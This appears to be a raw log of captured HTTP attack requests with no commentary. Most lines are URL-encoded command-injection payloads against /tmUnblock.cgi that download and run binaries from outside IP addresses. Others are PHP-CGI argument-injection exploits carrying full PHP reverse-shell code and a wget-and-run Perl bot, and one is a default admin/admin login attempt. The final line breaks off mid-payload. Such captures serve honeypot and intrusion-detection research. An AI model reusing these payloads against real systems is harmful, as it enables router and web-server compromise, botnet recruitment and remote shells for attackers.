POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1033\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%63%65%33%65%34%34%39%32%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%63%65%33%65%34%34%39%32%20%68%74%74%70%3a%2f%2f%39%39%2e%36%30%2e%32%34%34%2e%31%33%34%3a%33%32%30%30%22%20%3e%3e%20%2e%63%65%33%65%34%34%39%32%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%63%65%33%65%34%34%39%32%22%20%3e%3e%20%2e%63%65%33%65%34%34%39%32%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%63%65%33%65%34%34%39%32%22%20%3e%3e%20%2e%63%65%33%65%34%34%39%32%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%63%65%33%65%34%34%39%32%22%20%3e%3e%20%2e%63%65%33%65%34%34%39%32%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%63%65%33%65%34%34%39%32%2e%73%68%3b%2e%2f%2e%63%65%33%65%34%34%39%32%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31     1
POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1039\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%62%37%63%65%38%33%37%65%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%62%37%63%65%38%33%37%65%20%68%74%74%70%3a%2f%2f%31%34%38%2e%32%34%34%2e%31%31%34%2e%32%34%30%3a%33%32%30%30%22%20%3e%3e%20%2e%62%37%63%65%38%33%37%65%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%62%37%63%65%38%33%37%65%22%20%3e%3e%20%2e%62%37%63%65%38%33%37%65%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%62%37%63%65%38%33%37%65%22%20%3e%3e%20%2e%62%37%63%65%38%33%37%65%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%62%37%63%65%38%33%37%65%22%20%3e%3e%20%2e%62%37%63%65%38%33%37%65%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%62%37%63%65%38%33%37%65%2e%73%68%3b%2e%2f%2e%62%37%63%65%38%33%37%65%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31     1
POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1036\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%30%38%62%36%37%65%35%61%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%30%38%62%36%37%65%35%61%20%68%74%74%70%3a%2f%2f%31%37%33%2e%32%38%2e%31%37%36%2e%31%39%31%3a%33%32%30%30%22%20%3e%3e%20%2e%30%38%62%36%37%65%35%61%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%30%38%62%36%37%65%35%61%22%20%3e%3e%20%2e%30%38%62%36%37%65%35%61%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%30%38%62%36%37%65%35%61%22%20%3e%3e%20%2e%30%38%62%36%37%65%35%61%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%30%38%62%36%37%65%35%61%22%20%3e%3e%20%2e%30%38%62%36%37%65%35%61%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%30%38%62%36%37%65%35%61%2e%73%68%3b%2e%2f%2e%30%38%62%36%37%65%35%61%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31     1
POST /cgi-bin/php5?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1\r\nAccept: text/html, application/xhtml+xml, */*\r\nConnection: Keep-Alive\r\nContent-Length: 25\r\nContent-Type: text/html\r\nExpect: 100-continue\r\nHost: www.www.www.www\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)\r\n\r\n<?php echo xocoder123; ?>     1
POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1\r\nConnection: close\r\nContent-Length: 2292\r\nContent-Type: application/x-www-form-urlencoded\r\nHost: yyy.yyy.yyy.yyy\r\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25\r\n\r\n<?php\nset_time_limit(0);\n$ip = '162.213.25.66';\n$port = 3133;\n$chunk_size = 1400;\n$write_a = null;\n$error_a = null;\n$shell = 'unset HISTFILE; unset HISTSIZE;killall -9 perl;wget -q http://162.213.25.66/bot.pl -P /tmp;perl /tmp/bot.pl;uname -a; w; id; /bin/sh -i';\n$daemon = 0;\n$debug = 0;\nif (function_exists('pcntl_fork')) {\n   $pid = pcntl_fork();    \n   if ($pid == -1) {\n       printit("ERROR: Can't fork");\n       exit(1);\n   }\n   if ($pid) {\n       exit(0);\n   }\n   if (posix_setsid() == -1) {\n       printit("Error: Can't setsid()");\n       exit(1);\n   }\n   $daemon = 1;\n} else {\n   printit("WARNING: Failed to daemonise.");\n}\nchdir("/");\numask(0);\n$sock = fsockopen($ip, $port, $errno, $errstr, 30);\nif (!$sock) {\n   printit("$errstr ($errno)");\n   exit(1);\n}\n$descriptorspec = array(\n   0 => array("pipe", "r"),\n   1 => array("pipe", "w"),\n   2 => array("pipe", "w")\n);\n$process = proc_open($shell, $descriptorspec, $pipes);\nif (!is_resource($process)) {\n   printit("ERROR: Can't spawn shell");\n   exit(1);\n}\nstream_set_blocking($pipes[0], 0);\nstream_set_blocking($pipes[1], 0);\nstream_set_blocking($pipes[2], 0);\nstream_set_blocking($sock, 0);\nwhile (1) {\n   if (feof($sock)) {\n       printit("ERROR: Shell connection terminated");\n       break;\n   }\n   if (feof($pipes[1])) {\n       printit("ERROR: Shell process terminated");\n       break;\n   }\n   $read_a = array($sock, $pipes[1], $pipes[2]);\n   $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\n   if (in_array($sock, $read_a)) {\n       if ($debug) printit("SOCK READ");\n       $input = fread($sock, $chunk_size);\n       if ($debug) printit("SOCK: $input");\n       fwrite($pipes[0], $input);\n   }\n   if (in_array($pipes[1], $read_a)) {\n       if ($debug) printit("STDOUT READ");\n       $input = fread($pipes[1], $chunk_size);\n       if ($debug) printit("STDOUT: $input");\n       fwrite($sock, $input);\n   }\n   if (in_array($pipes[2], $read_a)) {\n       if ($debug) printit("STDERR READ");\n       $input = fread($pipes[2], $chunk_size);\n       if ($debug) printit("STDERR: $input");\n       fwrite($sock, $input);\n   }\n}\n\nfclose($sock);\nfclose($pipes[0]);\nfclose($pipes[1]);\nfclose($pipes[2]);\nproc_close($process);\nfunction printit ($string) {\n   if (!$daemon) {\n       print "$string\n";\n   }\n}\nexit(1);\n?>     1
POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1036\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%31%32%31%31%64%66%36%62%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%31%32%31%31%64%66%36%62%20%68%74%74%70%3a%2f%2f%31%39%33%2e%31%30%38%2e%34%39%2e%31%35%34%3a%33%32%30%30%22%20%3e%3e%20%2e%31%32%31%31%64%66%36%62%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%31%32%31%31%64%66%36%62%22%20%3e%3e%20%2e%31%32%31%31%64%66%36%62%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%31%32%31%31%64%66%36%62%22%20%3e%3e%20%2e%31%32%31%31%64%66%36%62%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%31%32%31%31%64%66%36%62%22%20%3e%3e%20%2e%31%32%31%31%64%66%36%62%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%31%32%31%31%64%66%36%62%2e%73%68%3b%2e%2f%2e%31%32%31%31%64%66%36%62%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31     1
POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1\r\nAccept: text/html, application/xhtml+xml, */*\r\nContent-Length: 25\r\nContent-Type: text/html\r\nExpect: 100-continue\r\nHost: www.www.www.www\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)\r\n\r\n<?php echo xocoder123; ?>     1
POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1033\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%65%37%37%66%31%38%33%34%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%65%37%37%66%31%38%33%34%20%68%74%74%70%3a%2f%2f%32%31%31%2e%32%34%2e%34%37%2e%31%34%37%3a%33%32%30%30%22%20%3e%3e%20%2e%65%37%37%66%31%38%33%34%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%65%37%37%66%31%38%33%34%22%20%3e%3e%20%2e%65%37%37%66%31%38%33%34%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%65%37%37%66%31%38%33%34%22%20%3e%3e%20%2e%65%37%37%66%31%38%33%34%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%65%37%37%66%31%38%33%34%22%20%3e%3e%20%2e%65%37%37%66%31%38%33%34%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%65%37%37%66%31%38%33%34%2e%73%68%3b%2e%2f%2e%65%37%37%66%31%38%33%34%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31     1
POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1027\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%33%37%39%33%35%34%36%65%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%33%37%39%33%35%34%36%65%20%68%74%74%70%3a%2f%2f%32%31%31%2e%32%34%2e%31%32%2e%34%3a%33%32%30%30%22%20%3e%3e%20%2e%33%37%39%33%35%34%36%65%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%33%37%39%33%35%34%36%65%22%20%3e%3e%20%2e%33%37%39%33%35%34%36%65%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%33%37%39%33%35%34%36%65%22%20%3e%3e%20%2e%33%37%39%33%35%34%36%65%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%33%37%39%33%35%34%36%65%22%20%3e%3e%20%2e%33%37%39%33%35%34%36%65%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%33%37%39%33%35%34%36%65%2e%73%68%3b%2e%2f%2e%33%37%39%33%35%34%36%65%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31     1
POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1036\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%65%32%65%66%38%62%62%64%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%65%32%65%66%38%62%62%64%20%68%74%74%70%3a%2f%2f%37%36%2e%31%37%37%2e%31%31%31%2e%32%35%33%3a%33%32%30%30%22%20%3e%3e%20%2e%65%32%65%66%38%62%62%64%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%65%32%65%66%38%62%62%64%22%20%3e%3e%20%2e%65%32%65%66%38%62%62%64%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%65%32%65%66%38%62%62%64%22%20%3e%3e%20%2e%65%32%65%66%38%62%62%64%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%65%32%65%66%38%62%62%64%22%20%3e%3e%20%2e%65%32%65%66%38%62%62%64%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%65%32%65%66%38%62%62%64%2e%73%68%3b%2e%2f%2e%65%32%65%66%38%62%62%64%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31     1
POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1036\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%66%35%61%63%62%66%39%61%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%66%35%61%63%62%66%39%61%20%68%74%74%70%3a%2f%2f%31%37%34%2e%35%35%2e%31%36%36%2e%31%32%32%3a%33%32%30%30%22%20%3e%3e%20%2e%66%35%61%63%62%66%39%61%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%66%35%61%63%62%66%39%61%22%20%3e%3e%20%2e%66%35%61%63%62%66%39%61%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%66%35%61%63%62%66%39%61%22%20%3e%3e%20%2e%66%35%61%63%62%66%39%61%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%66%35%61%63%62%66%39%61%22%20%3e%3e%20%2e%66%35%61%63%62%66%39%61%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%66%35%61%63%62%66%39%61%2e%73%68%3b%2e%2f%2e%66%35%61%63%62%66%39%61%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31     1
POST /cgi-bin/php5?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1\r\nAccept: text/html, application/xhtml+xml, */*\r\nConnection: Keep-Alive\r\nContent-Length: 25\r\nContent-Type: text/html\r\nExpect: 100-continue\r\nHost: yyy.yyy.yyy.yyy\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)\r\n\r\n<?php echo xocoder123; ?>     1
POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1036\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%34%38%61%63%38%63%64%61%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%34%38%61%63%38%63%64%61%20%68%74%74%70%3a%2f%2f%31%31%32%2e%32%30%39%2e%37%33%2e%32%31%37%3a%33%32%30%30%22%20%3e%3e%20%2e%34%38%61%63%38%63%64%61%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%34%38%61%63%38%63%64%61%22%20%3e%3e%20%2e%34%38%61%63%38%63%64%61%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%34%38%61%63%38%63%64%61%22%20%3e%3e%20%2e%34%38%61%63%38%63%64%61%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%34%38%61%63%38%63%64%61%22%20%3e%3e%20%2e%34%38%61%63%38%63%64%61%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%34%38%61%63%38%63%64%61%2e%73%68%3b%2e%2f%2e%34%38%61%63%38%63%64%61%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31     1
POST /cgi-bin/wlogin.cgi HTTP/1.1\r\nConnection: Keep-Alive\r\nContent-Length: 27\r\nContent-Type: application/x-www-form-urlencoded\r\nExpect: 100-continue\r\nHost: www.www.www.www\r\n\r\naa=YWRtaW4%3d&ab=YWRtaW4%3d     1
POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1\r\nConnection: close\r\nContent-Length: 2171\r\nContent-Type: application/x-www-form-urlencoded\r\nHost: www.www.www.www\r\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25\r\n\r\n<?php system("wget 208.85.177.238/.x/hb/php04 -O /tmp/.bash_h1s7;perl /tmp/.bash_h1s7 85.214.73.166;rm -rf /tmp/.bash_h1s7 &"); ?>set_time_limit(0);\n$ip = '91.121.105.21';\n$port = 22;\n$chunk_size = 1400;\n$write_a = null;\n$error_a = null;\n$shell = 'unset HISTFILE; unset HISTSIZE; uname -a; w; id; /bin/sh -i';\n$daemon = 0;\n$debug = 0;\nif (function_exists('pcntl_fork')) {\n\t$pid = pcntl_fork();\t\n\tif ($pid == -1) {\n\t\tprintit("ERROR: Can't fork");\n\t\texit(1);\n\t}\n\tif ($pid) {\n\t\texit(0);\n\t}\n\tif (posix_setsid() == -1) {\n\t\tprintit("Error: Can't setsid()");\n\t\texit(1);\n\t}\n\t$daemon = 1;\n} else {\n\tprintit("WARNING: Failed to daemonise.");\n}\nchdir("/");\numask(0);\n$sock = fsockopen($ip, $port, $errno, $errstr, 30);\nif (!$sock) {\n\tprintit("$errstr ($errno)");\n\texit(1);\n}\n$descriptorspec = array(\n   0 => array("pipe", "r"),\n   1 => array("pipe", "w"),\n   2 => array("pipe", "w")\n);\n$process = proc_open($shell, $descriptorspec, $pipes);\nif (!is_resource($process)) {\n\tprintit("ERROR: Can't spawn shell");\n\texit(1);\n}\nstream_set_blocking($pipes[0], 0);\nstream_set_blocking($pipes[1], 0);\nstream_set_blocking($pipes[2], 0);\nstream_set_blocking($sock, 0);\nwhile (1) {\n\tif (feof($sock)) {\n\t\tprintit("ERROR: Shell connection terminated");\n\t\tbreak;\n\t}\n\tif (feof($pipes[1])) {\n\t\tprintit("ERROR: Shell process terminated");\n\t\tbreak;\n\t}\n\t$read_a = array($sock, $pipes[1], $pipes[2]);\n\t$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\n\tif (in_array($sock, $read_a)) {\n\t\tif ($debug) printit("SOCK READ");\n\t\t$input = fread($sock, $chunk_size);\n\t\tif ($debug) printit("SOCK: $input");\n\t\tfwrite($pipes[0], $input);\n\t}\n\tif (in_array($pipes[1], $read_a)) {\n\t\tif ($debug) printit("STDOUT READ");\n\t\t$input = fread($pipes[1], $chunk_size);\n\t\tif ($debug) printit("STDOUT: $input");\n\t\tfwrite($sock, $input);\n\t}\n\tif (in_array($pipes[2], $read_a)) {\n\t\tif ($debug) printit("STDERR READ");\n\t\t$input = fread($pipes[2], $chunk_size);\n\t\tif ($debug) printit("STDERR: $input");\n\t\tfwrite($sock, $input);\n\t}\n}\n\nfclose($sock);\nfclose($pipes[0]);\nfclose($pipes[1]);\nfclose($pipes[2]);\nproc_close($process);\nfunction printit ($string) {\n\tif (!$daemon) {\n\t\tprint "$string\n";\n\t}\n}\nexit(1);\n?>     1
POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1033\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%39%31%30%65%36%62%33%32%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%39%31%30%65%36%62%33%32%20%68%74%74%70%3a%2f%2f%31%30%30%2e%34%33%2e%31%39%33%2e%37%34%3a%33%32%30%30%22%20%3e%3e%20%2e%39%31%30%65%36%62%33%32%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%39%31%30%65%36%62%33%32%22%20%3e%3e%20%2e%39%31%30%65%36%62%33%32%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%39%31%30%65%36%62%33%32%22%20%3e%3e%20%2e%39%31%30%65%36%62%33%32%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%39%31%30%65%36%62%33%32%22%20%3e%3e%20%2e%39%31%30%65%36%62%33%32%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%39%31%30%65%36%62%33%32%2e%73%68%3b%2e%2f%2e%39%31%30%65%36%62%33%32%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31     1
POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1030\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%61%62%66%32%36%30%39%38%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%61%62%66%32%36%30%39%38%20%68%74%74%70%3a%2f%2f%34%36%2e%31%30%2e%31%37%36%2e%31%33%3a%33%32%30%30%22%20%3e%3e%20%2e%61%62%66%32%36%30%39%38%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%61%62%66%32%36%30%39%38%22%20%3e%3e%20%2e%61%62%66%32%36%30%39%38%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%61%62%66%32%36%30%39%38%22%20%3e%3e%20%2e%61%62%66%32%36%30%39%38%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%61%62%66%32%36%30%39%38%22%20%3e%3e%20%2e%61%62%66%32%36%30%39%38%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%61%62%66%32%36%30%39%38%2e%73%68%3b%2e%2f%2e%61%62%66%32%36%30%39